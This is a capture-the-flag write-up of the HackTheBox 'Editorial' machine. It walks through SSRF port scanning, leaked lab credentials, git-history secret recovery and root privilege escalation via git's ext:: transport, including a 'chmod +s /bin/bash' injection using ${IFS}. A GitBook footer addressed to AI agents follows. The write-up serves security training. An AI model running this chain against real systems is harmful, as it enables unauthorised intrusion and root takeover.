> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-editorial.md).
# HTB - Editorial
Difficulty: Easy Category: Web / SSRF / Git Credential Leak / Sudo Misconfiguration
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## HTTP
Browsing to port 80 reveals the domain name.
add the domain to the hosts file.
Standard enumeration turned up a web application on `editorial.htb`
The site allowed uploading a "book cover" by providing a URL, which the server would fetch server-side and store locally:
the url field fetches the file on my local host.
a good place to look for SSRF.
### SSRF
i can fetch the internal server. so the next i am gonna do is look for internal ports.
the response time for existing port is 20,075 milliseconds.
non existent port results in 48 milliseconds instantly.
Requests to closed ports failed (connection refused) almost instantly. Requests to **open** ports took noticeably longer, since the server actually established a TCP connection and waited on a response before saving/erroring out. This time delta is a reliable oracle for a blind internal port scan.
now that i know this, i can use fuff to look for internal ports.
`seq 1 65535 > /tmp/ports.txt`
```bash
──(ajay㉿kali)-[~]
└─$ ffuf -u http://editorial.htb/upload-cover \
-X POST \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZXJeCaPab5hmiRnh" \
-d $'------WebKitFormBoundaryZXJeCaPab5hmiRnh\r\nContent-Disposition: form-data; name="bookurl"\r\n\r\nhttp://127.0.0.1:FUZZ/\r\n------WebKitFormBoundaryZXJeCaPab5hmiRnh\r\nContent-Disposition: form-data; name="bookfile"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryZXJeCaPab5hmiRnh--\r\n' \
-w /tmp/ports.txt \
-mc all \
-t 50 \
-p 0.02 -fs 61
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /tmp/ports.txt
:: Header : Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZXJeCaPab5hmiRnh
:: Data : ------WebKitFormBoundaryZXJeCaPab5hmiRnh
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ/
------WebKitFormBoundaryZXJeCaPab5hmiRnh
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryZXJeCaPab5hmiRnh--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Delay : 0.02 seconds
:: Matcher : Response status: all
:: Filter : Response size: 61
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 285ms]port 5000 is open.
```
**Port 5000** was open internally and responding normally a strong indicator of an internal Flask API not exposed to the outside world.
Fetching `http://127.0.0.1:5000/` through the SSRF resulted in saving output to a file on the server.
i need to fetch the file to read its content.
```bash
┌──(ajay㉿kali)-[~]
└─$ curl http://editorial.htb/static/uploads/ff4ca00b-73c6-4d97-9437-600bd600fa7c -s | jq .
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
```
The `new_authors` endpoint (an onboarding "welcome" message template) was the most promising candidate for leaked secrets. Fetching it via the same SSRF chain:
```bash
┌──(ajay㉿kali)-[~]
└─$ curl http://editorial.htb/static/uploads/e592c520-84b9-47ec-84fd-6a0a64932163 -s | jq .
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
```
This yielded a working set of credentials: **`dev` / `dev080217_devAPI!@`**
## SSH as DEV
there is a git directory in the apps directory.
```bash
dev@editorial:~/apps/.git$ ls
branches COMMIT_EDITMSG config description HEAD hooks index info logs objects refs
dev@editorial:~/apps/.git$ git log --all --oneline
8ad0f31 (HEAD -> master) fix: bugfix in api port endpoint
dfef9f2 change: remove debug and update api port
b73481b change(api): downgrading prod to dev
1e84a03 feat: create api to editorial info
3251ec9 feat: create editorial app
dev@editorial:~/apps/.git$
```
The commit message `change(api): downgrading prod to dev` was an immediate red flag it implies a **prior, more privileged credential set existed before being swapped out**. Old credentials that get "removed" from the current file are still fully recoverable from git history unless the repo is rewritten/squashed:
looking at the git history reveals the password of prod.
```bash
Username: prod
Password: 080217_Producti0n_2023!@
```
## Shell as Prod
```bash
/prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$
```
`prod` can run a specific script as root, with **arbitrary arguments** (`*` wildcard).
```bash
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```
The script clones a **user-controlled URL** and explicitly enables git's `ext::` transport (`protocol.ext.allow=always`). Git's `ext::` protocol allows specifying an **arbitrary local command** as the transport helper instead of a real remote.
```
ext::
```
git will execute `` directly rather than connecting to a network remote. Since the wrapper script runs as `root` via `sudo`, whatever command is embedded in the `ext::` string executes **as root.**
**I am gonna create new file called /tmp/pwned using this vulnerability to confirm that i can access the root.**
```bash
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c touch% /tmp/pwned"
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 4 03:03 /tmp/pwned
prod@editorial:~$
```
That error is actually expected the touch command doesn't speak the git protocol, so the clone itself fails after the command runs.
Now that i have confirmed the vulnerability, i am gonna set a suid bit for the /bin/bash and use it to access the root shell.
```bash
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod\ +s\ /bin/bash'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod/ +s/ /bin/bash new_changes
stderr: 'Cloning into 'new_changes'...
+s/: 1: chmod/: not found
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
```
The `%` and `\` were being interpreted by git's `ext::` connection-string parser as literal escape/placeholder characters, not passed through as is that's why they showed up mangled in the resolved `cmdline:` output (`chmod/ +s/ /bin/bash).`
git splits the `ext::` command string **on literal space characters** to build the argv for the helper. So `sh -c chmod +s /bin/bash` gets split into 5 separate tokens (`sh`, `-c`, `chmod`, `+s`, `/bin/bash`) instead of the 3 we want (`sh`, `-c`, `chmod +s /bin/bash`) — meaning `sh -c` only ever receives `chmod` as its command string, with `+s` and `/bin/bash` becoming useless positional parameters instead of part of the command.
**use `${IFS}` in place of the spaces *****inside***** the actual command we want to run**, so there are no literal spaces for git to split on within that final token — while still keeping the two spaces that separate `sh`, `-c`, and the command itself:
```bash
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod${IFS}+s${IFS}/bin/bash'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod${IFS}+s${IFS}/bin/bash new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
```
## Shell as Root
```bash
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt
8994d77ea01ed01b9616721a9c5d5f99
bash-5.1#
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-editorial.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
